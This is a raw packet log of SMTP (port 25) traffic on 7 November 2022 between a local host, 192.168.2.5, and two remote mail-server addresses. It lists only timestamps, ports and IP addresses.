Nov 7, 2022 22:24:22.451595068 CET	25	49718	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:22.451741934 CET	25	49718	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:22.451770067 CET	25	49718	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:22.451946020 CET	25	49718	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:22.452372074 CET	25	49718	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:22.452399015 CET	25	49718	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:22.452653885 CET	25	49718	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:22.452682018 CET	25	49718	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:22.452792883 CET	25	49718	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:22.453177929 CET	25	49718	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:22.453193903 CET	25	49718	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:22.453207016 CET	25	49718	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:22.453216076 CET	25	49718	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:22.453321934 CET	25	49718	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:22.453547955 CET	25	49718	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:22.453634024 CET	25	49718	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:22.453694105 CET	25	49718	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:22.453804016 CET	25	49718	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:22.453905106 CET	25	49718	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:22.453934908 CET	25	49718	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:22.453955889 CET	25	49718	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:22.454087019 CET	25	49718	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:22.454241037 CET	25	49718	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:22.454258919 CET	25	49718	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:22.454325914 CET	25	49718	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:22.454344988 CET	25	49718	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:22.454365015 CET	25	49718	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:22.454385996 CET	25	49718	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:22.454407930 CET	25	49718	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:22.454427004 CET	25	49718	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:22.454447985 CET	25	49718	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:22.454468012 CET	25	49718	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:22.454509020 CET	25	49718	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:22.454663992 CET	25	49718	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:22.454826117 CET	25	49718	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:22.454847097 CET	25	49718	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:22.454868078 CET	25	49718	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:22.454901934 CET	25	49718	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:22.455086946 CET	25	49718	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:22.455106974 CET	25	49718	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:22.455243111 CET	25	49718	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:22.455262899 CET	25	49718	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:22.455281019 CET	25	49718	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:22.455298901 CET	25	49718	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:22.455317974 CET	25	49718	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:22.455406904 CET	25	49718	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:22.455465078 CET	25	49718	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:22.455487013 CET	25	49718	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:22.455504894 CET	25	49718	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:22.455709934 CET	25	49718	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:22.455728054 CET	25	49718	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:22.455749035 CET	25	49718	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:22.455769062 CET	25	49718	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:22.455787897 CET	25	49718	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:22.455806017 CET	25	49718	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:22.456043959 CET	25	49718	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:22.456063986 CET	25	49718	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:22.456080914 CET	25	49718	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:22.456151009 CET	25	49718	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:22.456170082 CET	25	49718	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:22.456186056 CET	25	49718	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:22.456204891 CET	25	49718	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:22.456223011 CET	25	49718	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:22.456238985 CET	25	49718	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:22.456254959 CET	25	49718	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:22.456269979 CET	25	49718	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:22.456284046 CET	25	49718	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:22.456295967 CET	25	49718	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:22.456307888 CET	25	49718	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:22.456320047 CET	25	49718	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:22.456335068 CET	25	49718	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:22.456351042 CET	25	49718	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:22.456367016 CET	25	49718	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:22.456382036 CET	25	49718	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:22.456398964 CET	25	49718	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:22.456415892 CET	25	49718	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:22.456433058 CET	25	49718	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:22.456449986 CET	25	49718	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:22.456465960 CET	25	49718	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:22.456482887 CET	25	49718	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:22.456499100 CET	25	49718	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:22.456516027 CET	25	49718	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:22.456587076 CET	25	49718	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:22.456607103 CET	25	49718	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:22.456799030 CET	25	49718	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:22.456909895 CET	25	49718	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:22.456933975 CET	25	49718	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:22.456955910 CET	25	49718	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:22.456975937 CET	25	49718	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:22.457000017 CET	25	49718	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:22.457019091 CET	25	49718	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:22.457040071 CET	25	49718	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:22.470314980 CET	25	49720	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:22.470350981 CET	25	49720	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:22.470367908 CET	25	49720	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:22.470375061 CET	25	49720	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:22.470391989 CET	25	49720	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:22.470407963 CET	25	49720	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:22.470424891 CET	25	49720	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:22.470442057 CET	25	49720	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:22.470462084 CET	25	49720	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:22.470479965 CET	25	49720	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:22.470551968 CET	49720	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:22.470607996 CET	49720	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:22.470722914 CET	49720	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:22.491065979 CET	25	49719	217.69.139.150	192.168.2.5
Nov 7, 2022 22:24:22.501630068 CET	25	49720	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:22.501691103 CET	25	49720	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:22.501713991 CET	25	49720	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:22.501734018 CET	25	49720	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:22.501753092 CET	25	49720	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:22.501773119 CET	25	49720	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:22.501791954 CET	25	49720	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:22.501813889 CET	25	49720	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:22.501823902 CET	49720	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:22.501823902 CET	49720	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:22.501833916 CET	25	49720	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:22.501852989 CET	25	49720	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:22.501908064 CET	25	49720	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:22.501910925 CET	49720	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:22.501910925 CET	49720	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:22.501929998 CET	25	49720	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:22.501950026 CET	25	49720	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:22.501950979 CET	49720	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:22.501970053 CET	25	49720	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:22.501990080 CET	25	49720	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:22.502011061 CET	25	49720	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:22.502031088 CET	25	49720	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:22.502034903 CET	49720	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:22.502034903 CET	49720	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:22.502034903 CET	49720	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:22.502049923 CET	25	49720	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:22.502072096 CET	49720	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:22.502074003 CET	25	49720	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:22.502094984 CET	25	49720	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:22.502100945 CET	49720	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:22.502100945 CET	49720	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:22.502132893 CET	49720	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:22.502234936 CET	49720	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:22.533143044 CET	25	49720	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:22.533247948 CET	25	49720	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:22.533281088 CET	25	49720	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:22.533353090 CET	25	49720	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:22.533385038 CET	25	49720	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:22.533425093 CET	25	49720	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:22.533451080 CET	25	49720	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:22.533466101 CET	49720	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:22.533473969 CET	25	49720	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:22.533498049 CET	25	49720	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:22.533513069 CET	25	49720	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:22.533529043 CET	25	49720	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:22.533554077 CET	25	49720	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:22.533555984 CET	49720	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:22.533555984 CET	49720	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:22.533570051 CET	25	49720	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:22.533592939 CET	25	49720	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:22.533607006 CET	49720	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:22.533610106 CET	25	49720	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:22.533636093 CET	25	49720	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:22.533660889 CET	25	49720	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:22.533678055 CET	49720	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:22.533679962 CET	25	49720	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:22.533678055 CET	49720	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:22.533715010 CET	49720	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:22.533741951 CET	49720	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:22.533755064 CET	25	49720	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:22.533771038 CET	25	49720	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:22.533787966 CET	25	49720	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:22.533802986 CET	49720	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:22.533802986 CET	49720	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:22.533807039 CET	25	49720	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:22.533826113 CET	25	49720	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:22.533845901 CET	25	49720	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:22.533893108 CET	49720	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:22.533893108 CET	49720	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:22.533940077 CET	25	49720	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:22.533962965 CET	25	49720	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:22.533998966 CET	49720	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:22.533998966 CET	49720	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:22.534110069 CET	49720	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:22.534115076 CET	25	49720	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:22.534138918 CET	25	49720	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:22.534239054 CET	49720	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:22.534239054 CET	49720	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:22.534362078 CET	25	49720	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:22.534393072 CET	25	49720	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:22.534414053 CET	25	49720	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:22.534483910 CET	49720	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:22.534483910 CET	49720	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:22.534538031 CET	49720	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:22.534548998 CET	25	49720	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:22.534576893 CET	25	49720	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:22.534599066 CET	25	49720	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:22.534653902 CET	25	49720	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:22.534653902 CET	49720	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:22.534653902 CET	49720	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:22.534676075 CET	25	49720	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:22.534686089 CET	49720	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:22.534697056 CET	25	49720	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:22.534712076 CET	49720	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:22.534712076 CET	49720	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:22.534718990 CET	25	49720	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:22.534739971 CET	25	49720	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:22.534760952 CET	25	49720	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:22.534764051 CET	49720	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:22.534795046 CET	49720	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:22.534795046 CET	49720	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:22.534873009 CET	49720	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:22.564872980 CET	25	49720	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:22.564902067 CET	25	49720	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:22.564918041 CET	25	49720	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:22.564935923 CET	25	49720	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:22.564950943 CET	25	49720	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:22.564966917 CET	25	49720	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:22.564982891 CET	25	49720	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:22.564997911 CET	25	49720	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:22.565015078 CET	25	49720	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:22.565095901 CET	25	49720	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:22.565119982 CET	49720	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:22.565188885 CET	49720	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:22.565268993 CET	25	49720	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:22.565325975 CET	49720	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:22.565572977 CET	25	49720	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:22.565587997 CET	25	49720	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:22.565643072 CET	49720	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:22.565651894 CET	25	49720	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:22.565692902 CET	25	49720	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:22.565773010 CET	49720	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:22.565773010 CET	49720	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:22.565773010 CET	49720	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:22.565803051 CET	25	49720	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:22.565819025 CET	25	49720	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:22.565859079 CET	25	49720	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:22.565898895 CET	25	49720	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:22.565913916 CET	25	49720	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:22.565928936 CET	25	49720	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:22.565969944 CET	25	49720	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:22.565969944 CET	49720	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:22.565969944 CET	49720	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:22.566011906 CET	25	49720	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:22.566021919 CET	49720	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:22.566051960 CET	25	49720	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:22.566076040 CET	49720	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:22.566129923 CET	49720	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:22.566162109 CET	25	49720	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:22.566176891 CET	25	49720	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:22.566193104 CET	25	49720	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:22.566209078 CET	25	49720	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:22.566221952 CET	49720	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:22.566224098 CET	25	49720	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:22.566240072 CET	25	49720	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:22.566262007 CET	25	49720	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:22.566268921 CET	49720	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:22.566308975 CET	25	49720	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:22.566317081 CET	49720	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:22.566317081 CET	49720	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:22.566323996 CET	25	49720	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:22.566365004 CET	25	49720	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:22.566374063 CET	49720	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:22.566433907 CET	49720	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:22.566433907 CET	49720	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:22.566498041 CET	25	49720	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:22.566512108 CET	25	49720	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:22.566526890 CET	25	49720	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:22.566591978 CET	25	49720	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:22.566611052 CET	25	49720	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:22.566626072 CET	25	49720	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:22.566633940 CET	49720	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:22.566633940 CET	49720	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:22.566665888 CET	25	49720	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:22.566682100 CET	25	49720	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:22.566682100 CET	49720	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:22.566728115 CET	25	49720	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:22.566735983 CET	49720	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:22.566735983 CET	49720	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:22.566744089 CET	25	49720	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:22.566760063 CET	25	49720	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:22.566771030 CET	49720	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:22.566775084 CET	25	49720	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:22.566807032 CET	49720	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:22.566813946 CET	25	49720	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:22.566847086 CET	49720	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:22.566847086 CET	49720	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:22.566854954 CET	25	49720	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:22.566910982 CET	25	49720	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:22.566919088 CET	49720	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:22.566919088 CET	49720	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:22.566926956 CET	25	49720	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:22.566941977 CET	25	49720	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:22.566957951 CET	25	49720	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:22.566972971 CET	25	49720	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:22.566987991 CET	49720	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:22.566987991 CET	25	49720	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:22.567004919 CET	25	49720	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:22.567017078 CET	49720	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:22.567044973 CET	49720	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:22.567092896 CET	25	49720	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:22.567146063 CET	25	49720	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:22.567163944 CET	25	49720	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:22.567173958 CET	25	49720	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:22.567188978 CET	25	49720	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:22.567205906 CET	25	49720	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:22.567280054 CET	25	49720	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:22.567296028 CET	25	49720	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:22.567382097 CET	25	49720	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:22.567398071 CET	25	49720	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:22.567413092 CET	25	49720	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:22.567429066 CET	25	49720	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:22.567444086 CET	25	49720	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:22.567459106 CET	25	49720	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:22.567473888 CET	25	49720	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:22.567488909 CET	25	49720	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:22.567529917 CET	25	49720	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:22.567545891 CET	25	49720	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:22.567585945 CET	25	49720	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:22.567600965 CET	25	49720	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:22.567615986 CET	25	49720	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:22.567631960 CET	25	49720	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:22.567698002 CET	25	49720	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:22.567713976 CET	25	49720	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:22.567728996 CET	25	49720	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:22.596194983 CET	25	49720	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:22.596240044 CET	25	49720	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:22.596276045 CET	25	49720	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:22.596311092 CET	25	49720	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:22.596339941 CET	25	49720	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:22.596364975 CET	25	49720	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:22.596391916 CET	25	49720	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:22.596419096 CET	25	49720	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:22.596445084 CET	25	49720	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:22.596471071 CET	25	49720	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:22.596496105 CET	25	49720	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:22.596520901 CET	25	49720	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:22.596545935 CET	25	49720	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:22.596571922 CET	25	49720	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:22.596600056 CET	25	49720	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:22.596627951 CET	25	49720	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:22.596652985 CET	25	49720	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:22.596678972 CET	25	49720	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:22.596704006 CET	25	49720	142.250.147.27	192.168.2.5
